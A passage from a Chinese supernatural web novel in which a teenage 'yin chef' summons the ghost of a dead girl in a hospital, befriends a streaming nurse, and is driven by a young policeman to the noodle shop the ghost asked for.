沈聆抬起头看向了病房，她发现窗户外，远处的天空呈现出紫红色的色调，几道狭长的裂痕像是天空裂开的创口一样，触目惊心，纸钱从天空的裂口中洒落，如同雪花般纷纷扬扬，那是生者烧给亡魂的上路钱，也是生者对死者最后的挂牵。
沈聆低下头看向了放在结魄灯后面的小镜子。
在镜子里，秦琴的魂魄逐渐凝聚，出现在镜子里沈聆的右肩后，在结魄灯的幽光下，她的魂魄逐渐显形，五官、身形也开始更趋近于死亡时的状态。
只见镜子里秦琴的身躯呈现出半透明的状态，仿若与现实世界之间隔着一层若有若无的薄纱，那一头乌黑亮丽的长发宛如瀑布般垂落在双肩上，轻柔地拂过苍白如纸的肌肤，身着病号服，面容毫无生气，惨白如霜，血色尽失，但奇怪的是，沈聆注意到她的脖颈似乎也有伤口，病号服袖子下露出的手臂的皮肤上，也有几道若隐若现的血痕。
双眼紧闭着，秦琴那微微皱起的眉头透露出难以掩饰的痛苦与不安，紧蹙的眉间仿佛承载着无尽的哀愁，让人看了心生怜悯，脸上凝固的血迹在她的脸颊上留下一道淡淡的痕迹，犹如一抹哀伤的印记，仿佛在诉说着她生前的悲惨遭遇。
秦琴的额头有一个血窟窿，此时，秦琴的样子与方才宋明夷用手机拍摄到的鬼魂不一样，她脸上的黑气已经散去，只留下类似于水晶一样空灵透明的状态，仿佛是一个纯洁的天使，却又带着一丝无法抹去的哀伤。
沈聆压低了声音，轻声喃喃道：“我记得你的，当时我也在现场。”
她的声音中带着一丝颤抖，似乎回忆起那惨烈的一幕仍心有余悸。
忽然，镜子里秦琴睁开了眼睛！
沈聆发现，秦琴那双空洞的眼神已经没有了生机，就像是被掏空灵魂的□□一样，仅剩下一副行尸走肉，镜子里的秦琴定定地看着镜子里的沈聆，似乎要透过镜子，透过沈聆的□□，看到她的灵魂。
沈聆下意识地屏住呼吸，与亡魂对视。
她第一次感觉到一股莫名的寒气自心底升起，那种感觉仿佛坠入了深不见底的大海一样，四周皆是茫然的黑暗，伸手不见五指的窒息感包裹着自己，她拼命地挣扎着，却抓不住任何能拯救自己的东西，只能任由自身沉溺一样的绝望和无奈。
那绝望如同潮水般将她淹没，让她无法呼吸，痛苦如同尖锐的刺，扎在她的心上，让她难以忍受。
这是怎样的一种绝望和……哀伤？
窒息、绝望、孤独、痛苦……
许多复杂的情绪涌入脑海中，就像是流沙一样让她的心脏整个沉了下去。
沈聆鼻子一酸，不知道为什么，两行清泪顺着脸颊划过，在与秦琴对视的时候，她感觉到了一种破碎的悲伤感，无法说出口的压抑，但是却缠绕在心头无法抹去。
——她无法询问秦琴的死因，更无法直接询问对方有什么冤屈，因为阴厨的职责只是为亡魂做饭，不能提及太多他们生前的事情，担心触及到死因的对话会激怒亡魂，她只能选择缄默，但不知道为什么，她似乎能够对秦琴的悲伤感同身受。
沈聆闭上了眼睛，一瞬间，许多奇怪的画面在脑海中一闪而过……她听到了在黑暗中传出了女孩子低声啜泣的声音，那声音如泣如诉，让人肝肠寸断。接着，又听到了男人和老人打骂的声音，甚至是木棍打在□□上的声音……
“嗡……”那些奇怪的声音先是低沉而隐晦，随后，逐渐变得尖锐而刺耳，仿佛要刺破她的耳膜！她听到了许多打骂的声音交织在一起，宛如尖刀一样插入耳膜，并伴随着耳鸣！
那耳鸣声如同雷鸣般在她的脑海中回荡，让她头痛欲裂。
下一刻，沈聆猛然睁开眼睛，一口鲜血涌出！
“你没事吧？！”宋明夷看见沈聆吐血了，着急地大喊。
但沈聆抬起手，制止了准备起身的宋明夷，示意她待在原地不要过来！
在沈聆用手背擦去嘴边鲜血时，镜子里的秦琴说话了——
“淮阳牛肉面，想吃西郊路47号的淮阳牛肉面。”
她的声音很轻，仿若游丝一样，但每一个字，都清晰可闻，伴随着风声，伴随着啜泣声。
“我知道了，你放心吧，我会在两天内准备好你想吃的东西。”沈聆轻声说道，就像是安慰哭泣的小女孩一样，更放缓了声音，“两天后，还是这个时间，我会给你想要的东西，如果我能达成你的心愿，你是否能将未尽的‘阳寿’化为‘阴德’赠与我？我的妹妹命悬一线，我需要积攒阴德，让她活下去。”
镜子里的秦琴点了点头，随后复又张了张口，用口型说了几个没有发
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音的字。
“你说什么？”沈聆皱起眉头，一时间读不出秦琴的唇语。
但很快秦琴便消失了，她的身体如烟雾一般消散，和上一次一样，在亡魂消失不多时，黄泉路也消失了。
地府，像是个关闭了入口。
作为活人，沈聆无法窥探太久。
在黄泉路消失的时候，周围的血腥味也散去了，一切再一次恢复了平静，插在香炉上的三支香都已经燃尽，唤魂的时候，清香燃烧的速度似乎比一般的燃香速度要更快一点，亡魂像是借助这三炷香来维持镜子里的化形现身，一旦香燃尽，她们也将重归虚无。
“你没事吧？我刚才看你吐血了！”宋明夷忙起身跑了过来，她蹲下身，慌忙从口袋里掏出了一包面巾纸，抽出面巾纸擦了擦沈聆的嘴角。
沈聆抬起头看向宋明夷：“刚才……你有看到什么吗？”
宋明夷点了点头：“嗯……在你点香说话后，我看到了一个白色的人影出现你肩上。”
“就这样而已吗？有没有看到一条红色的血河？”
宋明夷歪了歪脑袋：“血河？没有呀？”
“上一次也没有看到血河？”
“没有呀，上次也是，没有看到什么血河，我就看到你在十字路口点香，然后好像有人形轮廓出现在你身后……看的并不是很清楚，只能看到那个轮廓上面是白色的，下面是透明的，直播了一会儿，那个鬼魂就消失了。”
宋明夷如实说道。
她说的，也是真话，沈聆也看过那些在网上流传的视频画面，在画面里，的确没有看到黄泉血河，也没有看到她妈妈真切的魂魄，只不过看到一团白色的人形轮廓，但仅是如此，便足以引爆混网络热点了。
——原来如此，黄泉路，肉眼凡胎的人，并不可见，就算是召唤出的鬼魂，凡人也只能看到一个大致的轮廓。
沈聆暗自揣摩。
“除此之外呢？你有没有听到她说什么？”
“谁？”
“秦琴，刚才出现在我身后的，就是她。”沈聆平静地解释。
“她有说话吗？我没有听到……但是我感觉在你招魂的时候周围风好大，我听到的都是呼呼的风声……哎呀，刚才我就看你突然就吐了一口血，吓死人了，我以为你要死了……”宋明夷可怜巴巴地说，“这里闹鬼，你要是死了我怎么办啊……我还要值班呢……”
“放心吧，我暂时是死不掉的，我还要救我妹妹，不会这么容易死的。”沈聆轻声说道。
她似乎现在又接了一单业务，并且在两天内，必须准备好秦琴想吃的东西，送她上路。
——淮阳牛肉面，想吃西郊路47号的淮阳牛肉面。
——如果只是淮阳牛肉面的话，陵川市有很多家，为什么偏偏是那一家呢？
——还有……她刚才似乎有很多想跟我说的话，但是没有说出口，这是为什么？明明和我的对话还没有三句，她应该是能继续说话的，是什么力量阻止了她开口吗？
——我刚才闭上眼睛听到的声音又是什么呢？为什么听到那些声音，我会吐血……
沈聆沉思着，只感觉这件事情似乎没有这么简单，她好像在外婆不知道的时候，接了一单“大业务”。
“对啦，我还不知道你名字呢！”宋明夷的声音从耳畔传来，沈聆回过头，对上了宋明夷明媚的笑容，“我叫宋明夷，是平安医院产科的护士，也是一名业余女主播。”
“……我叫沈聆，如你所见，我能与鬼对话，我是一名阴厨。”
16. 唤魂
“什么是阴厨？”
“阴厨，就是给阴魂做饭的厨子，简单的说，干我们这一行的，就是要送人上路的。”
沈聆现在已经对“阴厨”这一职业信手拈来，她夸夸其谈的样子，就像是已经做了好几年的老厨子。
“人世间并不是所有人都是善始善终、寿终正寝的，也有很多人是含恨而终的……有的被谋杀，有的是自杀……那些人呢，鬼魂飘荡在人世间，久久不愿意离去，而我们阴厨的责任，就是满足他们的心愿，送他们上路，让他们了无遗憾。”
“所以……那天晚上在十字路口，其实你是在和鬼魂对话吗？”
“嗯……对，你刚才看到的，就是‘唤魂’，需要召唤出鬼魂，然后问问看他们有没有想吃的东西，如果三炷香没有灭，鬼魂自然会出现，如果三炷香灭了，说明鬼魂不愿意和你说话，不愿意接受阴厨的帮助。”
“原来如此。”
“两天后，我将准备好秦琴想吃的东西，到时候步骤差不多，也是点灯、燃香，两天后的我要做的事情，就是祭魂，把我准备好的东西祭拜给鬼魂，让他们享用里面的‘气’，便能完成他们的嘱托，而我自己，也会在这个过程中积累阴德。”
宋明夷点了点头。
她的确从前天晚上在十字路口看到过沈聆，并偷听到了什么“祭魂”之类的字眼，这才会在第二天晚上又在同一地点蹲守着要直播灵异事件，她原先还奇怪为什么要来两次十字路口，现在看来，阴厨的工作就是分为“唤魂”、“祭魂”两步进行的，而她直播的部分，恰好是“祭魂”的那个步骤。
“说来……沈聆，你要这么多阴德做什么？你是想中彩票吗？还是想一改天命、嫁给有钱人？”
“说什么傻话。”沈聆敲了敲宋明夷的脑袋，“你以为天命是这么好改的吗？我做这些，只不过是想救我妹妹而已。”
沈聆说着，扬了扬手上带着的红色手链，上面挂着一个银色的铃铛。
“瑞景路的车祸，我妹妹当时也在车上，她虽然捡回一条命，但情况不是很好，我外婆说，只有我担任阴厨、用红绳和她共命，才能把我的阴德分享给她，她才能活下去。”
“原来如此……”宋明夷默默点了点头，“难怪你刚才说你妹妹在ICU手术……她现在还好吗？”
“昨天晚上接受了颅脑手术，目前暂时脱离生命危险，但是她还有许多手术要做，今晚的手术是胸外科手术，她的胸腔在车祸中变形了，压迫到了肺部和心脏，需要进行手术、重塑胸腔，所以我希望我多‘渡’一些亡魂，说不定这样我妹妹会更快恢复健康。”
沈聆说着，低下头开始整理自己的东西，将结魄灯、小镜子、香炉收进了自己的背包里，地上仍有许多香灰，那些香灰被走廊中的夜风吹散了，无影无踪。
宋明夷看着沈聆乖乖收东西的样子，忽然内心涌起一阵愧疚。
她瞅了半晌，在沈聆起身的时候，扶了她一把，在她耳畔轻声说道：“对不起啊……我不知道你当时在祭拜的是自己的父母，我……我以为你只不过是在进行招魂游戏之类的，所以我才想着直播赚点流量……我最近钱不够吃饭了，不想点办法变现流量，我就没饭吃了……”
沈聆抿了抿嘴角，原先是想说些什么，但在看到宋明夷可怜兮兮的表情，却也说不出什么责备的话来。
“……算了，你也没有拍到我的正脸，没关系，你也是为了生存，大家都不容易。”
“那你明天晚上还来吗？”
“得看情况，我得先去准备秦琴想吃的东西，准备好了再过来。”
“她想吃什么呀？”
作为普通人的宋明夷听不见鬼魂的声音，在刚才唤魂的时候，只有身为阴厨的沈聆能听到阴魂说的话，而在宋明夷听起来，那声音只不过是呼啸的风声，擦过耳畔，带着几分凉意。
“淮阳牛肉面，想吃西郊路47号的淮阳牛肉面。”沈聆话锋一顿，抬眼看向宋明夷，“你知道这家牛肉面吗？我之前很少吃牛肉面，不太了解。”
“我吃过的！那家牛肉面在城西，那个地方比较偏僻，在城西殡仪馆旁边，所以日常生意不是很好，但是他们的牛肉面挺好吃的，特别是汤底，很好喝的。”宋明夷滔滔不绝地说着，眼眸里方才的惊恐早已经一扫而空，她似乎是个注意力很容易转移的人，容易被新的事情吸引走所有的心思。
——在城西吗？
沈聆点了点头。
——先去看看吧，不过不知道为什么，我总觉得秦琴这件事情好像没有这么简单。
——至少和第一次唤魂的时候比起来，没那么顺利。
——刚才的黑气是什么？为什么那团黑气会想攻击我和宋明夷？那团攻击性的黑气好像并不是秦琴的本意，那又是为何会出现在这里呢？
沈聆沉默着，她现在的资历太浅了，对这个职业了解太少了，越做越觉得有更多的谜团等着自己解开，偏偏她“服务”的对象不是寿终正寝的人，这些枉死的人，往往带着更多的未解之谜。
她不禁有点儿泄气，自己真的可以做好这份工作吗？
而一旁的宋明夷倒是十分开朗，像是抓到了十年难得一遇的素材一样，抓着沈聆不放手。
“对啦，沈聆！你下次来‘祭魂’的时候可以叫我一起吗？”
“叫你做什么？还让你直播吗？”沈聆斜着眼睛、瞅了一眼宋明夷。
“额，话不能这么说嘛，好歹多一个人、多一份力量，我也想帮一帮那个叫秦琴的可怜的女孩子呀。”宋明夷说着，拍了拍胸脯，“而且我是这里的护士，有我在，你要‘做事’很方便的，需要什么东西我可以提前帮你准备好，还可以帮你支走其他人，让你安心‘祭魂’！”
“再说吧，到时候看看。”
“你先加我微信吧，到时候我们可以微信上联系！”
宋明夷说着，掏出了手机，积极地想要扫码加好友。
她的目的其实很明确，她是一个灵异主播，但是灵异事件并不是每天都会发生的，再加上她是个肉眼凡胎，灵异事件可谓是可遇而不可求，现在直播行业这么内卷，她好不容易抓住了一个热点走红网络，如果没有后续更新劲爆的内容，很容易被别的“装神弄鬼”的灵异主播取代。
而现在，沈聆就是上天给她的机会！
这么一个会招魂的“小可爱”，不就是上天给她的“灵感源泉”吗？
她才不会错过！
宋明夷闪烁着星星眼，对未来的事情十分期待！一想到所谓的“恐怖闹鬼事件”将
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会给自己带来巨大的流量和收入，她瞬间打消了本能对鬼的恐惧，甚至开始期待起来，小脑瓜子里都已经构想好自己成为知名主播后，要马上辞掉医院护士这种牛马工作，也去享受一下成为人上人的感觉！
“6。”
沈聆看着宋明夷眼眸中闪烁的光，自然知道对方心里在想什么。
沈聆刚开始并不想把事情搞得这么麻烦，但转念一想，宋明夷毕竟是平安医院的护士，每天总有人在医院死去，说不定这可以作为自己业务的一个突破口，让自己能多接到一些“亡者的委托”，只要尽快积累多一点的阴德，妹妹的情况就会慢慢好转。
这么想着，沈聆默不作声地拿出了自己的手机，扫了一下宋明夷的微信好友。
就这样，两个人各怀鬼胎地加上了好友。
表面上是同生共死后结交朋友的姐妹，实际上，却是带着各自目的的互相利用关系。
“那你继续值班吧，我要回去八楼了。”
“好滴，你自己回去注意安全哦！如果有什么紧急情况，可以直接联系我，我就在6楼。”
宋明夷细心地嘱咐，但这句话在沈聆听起来更，她更觉得比起担心自己，宋明夷像是更担心她的“流量源泉”丢了。
“就坐个电梯，丢不了的。”
“有事情就联系我哦！我的手机24小时为你开机！”
“好了好了，知道了，你好啰嗦啊……”
两个女孩子一前一后、朝着产科走廊的另一头而去。
在进电梯之前，沈聆看了看挂在医院走廊的时间显示器，目前已经是凌晨一点半了，她感觉沈凝的手术差不多要结束了，得回去8楼等待手术结果，本来是为了不犯困才下来买速溶咖啡的，没想到发生了这么多事情，倒是让她提神了不少，现在也不需要咖啡了。
沈聆一个人进了电梯，在挥手和宋明夷告别之后，她一个人回到了八楼。
在她回到八楼的时候，手术也结束了，这一次，沈凝的手术也顺利完成了，或许是上天看到了沈聆的努力，或许是神明也不忍心让年仅14岁的沈凝就这么撒手人寰。
医生简单交代了手术情况，并嘱咐患者后续还需要接受其他手术，医院会尽快安排，沈凝暂时住在ICU里还不能转移到普通病房……
在办理了妹妹的事情之后，已经快凌晨三点了。
就在沈聆打算回家休息一下时，正坐着电梯来到一楼大厅的她，在电梯门打开的瞬间，只听到大厅里一阵嘈杂吵闹的声音。
“你给我说清楚！”
“怎么孩子交给你们就出事了！”
“为什么原定下午两点出发的校车，一直到晚上才出发！”
“我孩子到现在都没有找到！你让我怎么接受这个事情！！”
……
只看见大厅里人头攒动，许多人吵吵闹闹的围在大厅，远处的玻璃门闪烁着红蓝色警车的灯光，而被人群围绕在其中的是一个四五十岁的秃顶男人，他穿着白衬衫、黑裤子，戴着黑框眼镜，看着斯斯文文的，略显肥胖的身材在人群中像个皮球一样被左右推搡着。
沈聆想起来了，自己刚才在新闻上看到过那张脸。
他是陵川市第二实验小学的教务处主任，□□南主任。
17. 林凌
在平安医院的大厅里面，许多情绪激动的家长们将陵川市第二实验小学的教务处主任团团围住，声讨着想要得到一个公道。
他们的孩子原先一个个健康活泼，像是早晨初升的太阳，他们那双眼睛满是对这个世界的期待和好奇，但年轻的生命还没有开始，便终结在了冰冷的山崖。
那篇报道沈聆在新闻媒体上看过，校车出事的时间是23：44分，校车在驶过元山路的时候，出于某种不知名的原因发生了侧翻，因为校车是大巴的车型，在校车翻下悬崖之后，有的孩子直接从开着的车窗里甩出了车外，有的孩子在校车里撞得头破血流。
由于出事的时间是半夜，元山路又是靠近郊区的公路，一般没有什么人在那个时间路过。
救援电话一直到十五分钟后才被拨通，拨打救援电话的是还是一对开着房车四处旅行、偶然路过元山路的好心路人夫妇。
在接到报警电话后，警方第一时间安排出警，消防救援及民间救援力量也被最大程度调动了起来，社会各方都出力赶往事故现场抢救摔下山崖的孩子们，但无论救援速度有多快，这次校车事故太过严重，整个车身都已经凹陷变形，校车上的两个跟车老师及司机当场死亡，被救出来的孩子们也大多数昏迷重伤，接二连三送入平安医院后，目前并没有抢救成功的孩子，还有许多孩子还在抢救中，平安医院也联系了附近其他地市的医院，请求调派专家共同抢救生命垂危的孩子们。
这些信息，都是沈聆在新闻上看到的，由于这几天她妹妹也在平安医院，因此她也常常往手术室及外科跑动，也看到许多匆忙的医护人员推着孩子们匆匆跑向各类检查诊室，也看到许多家长在走廊掩面哭泣。
但这么多家长聚集在一起闹事，这还是第一次看到。
在电梯门打开的一瞬间，沈聆便看到大厅里沾满了人，一眼看过去都是三十岁出头的年轻父母，他们有的坐在地上大哭，有的捶胸顿足，有的情绪激动，有的拿着手机拍摄，现场看起来有五六十个人，他们将教务处韩主任团团围住，吵闹的声音也让人群的情绪更加激动，无助的家长亲戚们将失去孩子的愤怒和悲痛全都化为了声声讨伐，他们像是好不容易逮住了过街老鼠一样的韩主任，将他围绕在人群中，不让他逃走，大有让他“一命偿一命”的架势。
“给你们学校打了好多个电话，就是打不通，给我装孙子是吧！好呀，今天让我们堵到你了！快给我们一个说法！”
“我们的孩子，好好的孩子，交给你们，怎么就死了？！我孩子到现在都没有找到！我家乐乐生死未卜，我跟你决不罢休！”
“这件事情我们没完！今天大家都在这里！大家都给我看住了！别让这个老鼠跑了！”
……
带头的家长情绪十分激动，在他的怂恿下，所有人拉扯了起来，教务处主任斯斯文文的一个人，哪里经得起这样的场面，他的衬衫被七八个男人揪住，在大家的讨伐声中，他抱着头蹲在地上，雨点般的拳头就落在他身上，混合着谩骂和斥责，他看起来十分狼狈。
“别放过他！”
“打死他！”
沈聆缩着脑袋，不愿意掺和到这场闹剧中，她顺着墙壁朝着大厅走去，周围闹哄哄的，吵得她耳朵疼，她暗自庆幸还好没有把外婆带过来，外婆哪里经得起这样的拥挤。
在人群的推搡中，沈聆被许多个肩膀和手臂挤着，朝着大门那边一点点挪动，就在她快要走到大门口的时候，忽然被一个家长挤了一下，她重心不稳，往旁边摔去！
“啊……”
在她快要摔在地上的时候，忽然有人拉了她一把，下一秒，她感觉到一双手拦在了自己腰间，倒下的身体被往回拉了一把，她的双手就势搭在了那人的肩头。
“谢谢……”
慌乱无措地抬起双眼，沈聆对上了一双熟悉的眼眸。
是林凌警官。
“小姐姐，你没事吧。”
穿着便服的年轻男子对着沈聆微微一笑，嘴角那熟悉的弧度、身周淡淡的薄荷草的味道，瞬间将沈聆的记忆拉回了曾经与他打过照面的瞬间。
在午夜的十字路口，在医院的长廊……
无论是身穿警服的他，还是换了便服的他，唯一不变的，是那双眼眸中恍若星辰的神采奕奕，有力的右手环抱着沈聆的腰肢，沈聆忙拉开了点两人之间的距离。
“小姐姐，我们第三次见面了。”他一笑，认出了沈聆，但环顾了一圈，感觉周围太吵了，不适合重逢，“嘘，跟我来……”
没等沈聆说话，他拉着沈聆便溜到了大厅的玻璃门旁，两人耸着肩膀从偏门挤出了吵闹的医院大厅。
在迎面吹到晚风的一瞬间，沈聆忽然感觉到一阵轻松，原先闹鬼的惊悚、招魂的不安、吵闹的大厅全都被风吹散在了风中，她感觉压在自己肩上的千斤重像是忽然被释放了不少，呼吸着凌晨三点的空气，清冷中带着几分寒凉，却让她提振了一点精神。
微微抬起头，沈聆看向站在身边的年轻男人：“你是……林凌警官？”
“怎么说？你怎么知道我的名字？”
“那天晚上，你把外套给我的时候，我看到了你的工作牌，上面写了你的名字。”
“观察挺细致的啊，你果然有当警察的天赋。”
这位年轻的警察压低了棒球帽沿，凑近了沈聆，身周的薄荷味在他靠近沈聆时更浓郁了几分。
“今晚这里发生了一些小冲突，这些家长们情绪有点儿激动，虽然我可以理解他们的心情，但是这样在医院闹事也不好，我刚刚联系了附近的派出所过来□□，应该问题不大。”
沈聆没有这么靠近过一个陌生男人，脸色一红，岔开话题说道：“今晚也是轮到你巡逻吗？”
“今晚？不、不是我，我今天来医院看望老同事的，他为了救校车事故里的孩子、自己摔下山崖，摔断腿了，不过他的情况还算好，刚结束外科手术，手术很顺利，我也可以回去报告领导了。”
沈聆闻言，乖巧地点了点头。
“
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对了，小姐姐，我白天也在医院碰到你了，你怎么也在平安医院待到这么晚？”
“我妹妹……住在平安医院的ICU里，今晚她也刚结束手术。”
“你曾经说过，你父母是瑞景路车祸事故里的那对夫妻……难道说，当时你妹妹也在车上吗？”
“嗯，当时他们三个人都在车上，只不过我妹妹坐在后排，侥幸活了下来。”
沈聆的语气十分平静，像是复述了一个在寻常不过的事情。
她那过分平静的语气，听着让人心疼。
林凌张了张口，但想不出什么安慰沈聆的话，她看着眼前脸色苍白的沈聆，感觉那瘦弱的肩膀在风中看着更加孱弱了几分，轻柔的发丝披散在肩上、垂落在脸颊旁，那双深色的眼眸带着几分悲伤，就像一只在夜风中飘摇欲坠的枯叶。
“……”
半晌，林凌抬起手，用温暖的手掌摸了摸沈聆的脑袋。
沈聆略感讶异地抬起头看向林凌。
“打起精神来，你妹妹会没事的。”他轻声说道，夜色中他的脸庞有点儿模糊。
医院前院的灯拉长了两人的影子，一时无话。
“……谢谢。”
“有需要帮助的地方，可以找我，我叫林凌，是陵川市公安局的警察，永远可以相信我们‘警察蜀黍’。”林凌淡淡一笑。
沈聆点了点头：“说到这个……上次你借我的外套还在我那里，我担心机洗会把外套洗坏，就送去干洗店了，等我干洗完还给你。”
但讲到这个的时候，沈聆又担心对方会不会知道她吓尿的事情，左右紧张着，沈聆抬眼小心翼翼地观察林凌的表情，但从对方的眼眸里，她丝毫看不出有任何嘲讽或者笑意，林凌只是柔柔地将目光落在她身上，并点了点头。
“都可以，你方便就行，不着急。”林凌补充说道，“你要回家吗？我送你回去吧，你一个女孩子回家也不安全，现在凌晨三点也没什么车能打了……”
林凌说着，朝着的平安医院的停车场走去。
沈聆原想拒绝的，但转念一想，凌晨三点女孩子独自打车的确不太安全，想一想便跟上了林凌的脚步，他的步子很大，走得虽然不快，但沈聆还是需要稍稍加快脚步，小跑着才能跟上：“那……那麻烦了。”
林凌的汽车停在医院的停车场里，今天他没有开警车出门，而是私家车，这让沈聆松了口气，她不太希望自己是坐着警车回家的，至少会让邻居胡乱揣测。
林凌礼貌地为沈聆拉开了车门，沈聆道谢后，坐在副驾驶的后排，在两人都坐上车的时候，林凌启动了汽车。
“对了，你叫什么名字呀？我还不知道呢。”
“沈聆，聆听的聆。”
“沈聆？很好听的名字。你家在哪里？”坐在驾驶座的林凌调整了一下后视镜，从后视镜里看到沈聆绷着身子坐在那里，知道她有点儿拘束，“没关系，随意就好，别把我当警察，把我当做你的普通朋友就可以了，咱们警民同心、其利断金！”
18. 淮阳牛肉面
“不用拘束，咱们警民同心，其利断金！”
“噗嗤。”
被林凌的话逗笑，沈聆终于有了几分笑容，两人在后视镜里相视一笑，尴尬的气氛这才有所缓和。
“我家在幸福小区C栋，车开到幸福小区的南门就可以了。”
“好嘞，司机小林竭诚为您服务。”林凌说着，踩下了油门，汽车在开出平安医院的停车场后，朝着幸福小区而去。
林凌点开了车载音响，从音响里传出了舒缓的纯音乐，听着那旋律，似乎是电影泰坦尼克号的主题曲《MyHeartWillGoOn》，钢琴演奏版的纯音乐令沈聆感觉到身心一阵放松，她的脑袋有点儿沉重，这几天精神极度紧张，整个人忙东忙西的，这还是第一次有时间坐下来好好整理自己的思绪。
她摇下了车窗，感受到窗外的风吹开发丝、拂过耳畔，她深吸了一口气。
——要加油啊，沈聆。
“你现在在读书吗？看你好像没有二十岁。”
“高三。”
“啊……那你现在学业怎么办？是不是要高考了？”
“没关系，我平日里的成绩还行，就这一周没去学校，我会自己抽时间复习的。”沈聆闭上了眼睛，靠着后排的椅背，陷入了沉默。
——她何尝不知道高考的重要性呢？只不过她现在已经无暇顾及自身了，心心念念的，全都是如何让妹妹沈凝活下来，只要妹妹能活下来，她就算放弃今年的高考也在所不惜。
“那天晚上，你在十字路口是在祭拜父母吗？”
“……嗯，我想送送他们最后一程。”
“那你要注意一点，最近有一些主播，为了红，什么都敢偷拍，如果被偷拍了，曝光在网络，是很麻烦的……最近我们陵川市上了好几个热搜，大环境有点乱，还是小心一点。”林凌微微眯起眼睛，锐利的视线看向前方的道路，暗戳戳地提醒小小夷偷拍沈聆的那件事情。
沈聆点了点头，坐在后排的她闭着眼睛听着林警官的叮嘱，应承了一句：“好。”
吹着夜风，她的思绪也早已飘到了远方……
——明天得去一下城西的淮阳牛肉面馆。
——那家牛肉面和秦琴又有什么关系呢？
“西郊路47号的淮阳牛肉面馆……”沈聆喃喃着。
她的声音让林凌听到了。
“西郊路47号的淮阳牛肉面馆？那间面馆我倒是以前经常吃，老板和老板娘都是六七十岁的老人家，不过他们家的手艺很好，不像是本地人做的牛肉面，倒是很像正宗的淮阳风味，有段时间我经常去吃哈哈哈哈，还带着我同事也一起去吃……”
林凌侃侃而谈，不经意间抬起头看了一眼后视镜，发现坐在后排的那个女孩子闭着眼睛睡着了。
“是累了吧……”
他扬起嘴角，担心夜风让女孩子受凉，将车窗慢慢摇起来了，顺便关掉了车载音响的背景音乐，为了让女孩子睡得更安稳一些，他细心地放慢了车速。
在午夜的路口，这辆小车就这么朝着幸福小区而去，披星戴月。
……
这一夜，沈聆睡得很沉。
听着泰坦尼克号的主题曲入睡，车辆行走时略微摇晃的感觉，让沈聆做了个梦……
在梦里面，她平稳地躺在一艘月亮小船上，小船前行在银河之中，满船清梦压星河，她睡在小船里，摇摇晃晃地，走了好久好久，她从月亮船中探出头来，伸出手，想捞一些星子在手中，但那些星子如流沙一样从掌心逝去，她所留不住的星子复又回到了深蓝色的天幕中。
她在那星河里，看到了许多模糊的回忆的画面，在回忆中，有爸爸妈妈的笑容，有沈凝的笑声，有一家四口的幸福……
一梦十年一般，她在短暂的梦境里，再一次经历了许多，一直到睡醒时，心中满是恋恋不舍。
她已经两三天没有怎么睡觉了，因此在坐上林凌的车时，林凌的警察身份给了沈聆前所未有的安全感，她沉沉地睡去，一直睡了八个小时，直到第二天快中午的时候，才醒来。
在睁开眼睛的时候，她发现自己仍旧坐在后排座位上，从车窗外投入车内的阳光有点儿刺眼，她恍惚间听到周围车辆与行人来往的声音，皱了皱眉头，用手揉了揉疲惫的双眼，打了个哈欠，视线擦过驾驶座的椅子上，落在前排时，发现林凌正坐在驾驶座上，闭目养神。
沈聆怕吵扰到林凌休息，她环视了一圈，发现车并没有停在幸福小区南门，而是停在了路边，从她的车窗朝外面看去，正看到这家店的广告牌——淮阳牛肉面。
“淮阳牛肉面？！”沈聆不由得惊呼出声。
她的声音惊醒了浅寐中的林凌，他睁开眼睛，下意识地看向了后视镜，正看到一脸讶异的沈聆。
“你醒啦。”
“这里是……”
“是你心心念念的淮阳牛肉面。”
坐在驾驶座的林凌回过头看着沈聆，他的眼眶下也多了两个睡眠不足的黑眼圈。
“昨天晚上我送你到家的时候，你睡着了，我看你睡得很沉，就没叫你，在幸福小区外面等到了早上八点，看你还没睡醒，我想着不如找个地方吃饭……想着想着，我就想到了你说的淮阳牛肉面。”
闻言，沈聆心生有点儿愧疚，自己似乎给林凌添了不少麻烦：“对不起，我睡着了……麻烦您送我回家，我还没醒。”
“这又不是什么大事，正好队里最近总是吃盒饭，我也改善改善伙食哈哈哈哈——”
“但是……你今天不需要上班吗？”
“昨天在医院待到凌晨两三点，领导特批我今天可以晚一些上班，问题不大。”林凌说着，解开了安全带，指了指车窗外的牛肉面馆，“走吧，正好你不是念叨着这家店吗？我之前在这附近租房子，也经常来吃这家店。”
林凌说着，已经拉开车门下了车。
“嗯，好！”
沈聆跟着也下了车，两人一前一后来到了淮阳牛肉面馆前面，沈聆抬头一看，这家店看起来似乎已经有了一定的年头，所有的门框、装潢全都是褪色老式的装潢，门前红色地毯已经退了色，这家店在十字路口旁边，红色的店铺广告牌下，一共两间店面，左侧的店面是玻璃门，玻璃门敞开着，上面挂着透明门帘，右侧的店面装潢成了玻璃橱窗，从外面依稀可以看到店内并排放置的许多餐桌，现在是午餐时间，一眼看去，店内有三四个人在用餐。
沈聆注意到，店铺广告牌的时间相比起门楣，要更新一点，似乎在这家店营业期间曾经换过店铺名称。
林凌轻车熟路地撩开门
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帘先一步进了淮阳牛肉面馆，沈聆跟着他也走进了面馆。
一进门，便嗅到了一股牛肉汤的味道，左侧是点餐区，右侧是用餐区，这家面馆的面积并不大，两个看起来已经六十出头的老夫妻在点餐区忙碌着，老伯负责捞面，老妇人负责在面汤上加上牛肉、牛杂或者煎蛋，此外，沈聆还注意到在后厨半掩着的门后，似乎还有一个人在后厨忙碌。
“老板，来两碗淮阳牛肉面。”林凌拿下了棒球帽，点了两份招牌淮阳牛肉面。
“好嘞！”老伯拿着捞勺，忙着从汤锅里捞出煮熟的面条，他的脸庞爬满了皱纹，与老伴都已经白发苍苍，捞面的动作十分娴熟，放在漏勺里的面条被放入滚烫的沸水中过几遍之后便能盛上来放在白瓷碗里。
老伯将煮熟的面条放在碗里递给身后的老伴，老妇人接过面碗，正要往碗里加汤，不经意地一眼，看见了站在门口的沈聆和林凌，她一眼认出了林凌。
“哟，这不是小林嘛，好久没来了呀！”
闻言，老伯也抬起头看向了两人，随即，脸上露出了和蔼的笑容：“小林啊，你可是好久没来吃牛肉面啦！”
林凌挠了挠头，笑了笑：“这不是搬走了嘛，住的比较远，就比较少到这里来了，但是这家面馆我可是时常想着！外面其他家的淮阳牛肉面可没有你们家正宗！好久不见了，陈伯、陈伯母都还好吧？”
老妇人的视线擦过林凌，落在沈聆身上：“都挺好的！我俩就是忙碌命，六十多了闲不住还开饭馆，找点事情做做……这小姑娘是谁呀？看着水灵灵的，是小林的女朋友吗？”
闻言，沈聆和林凌对视了一眼，两人皆是脸一红，飞快地别开视线。
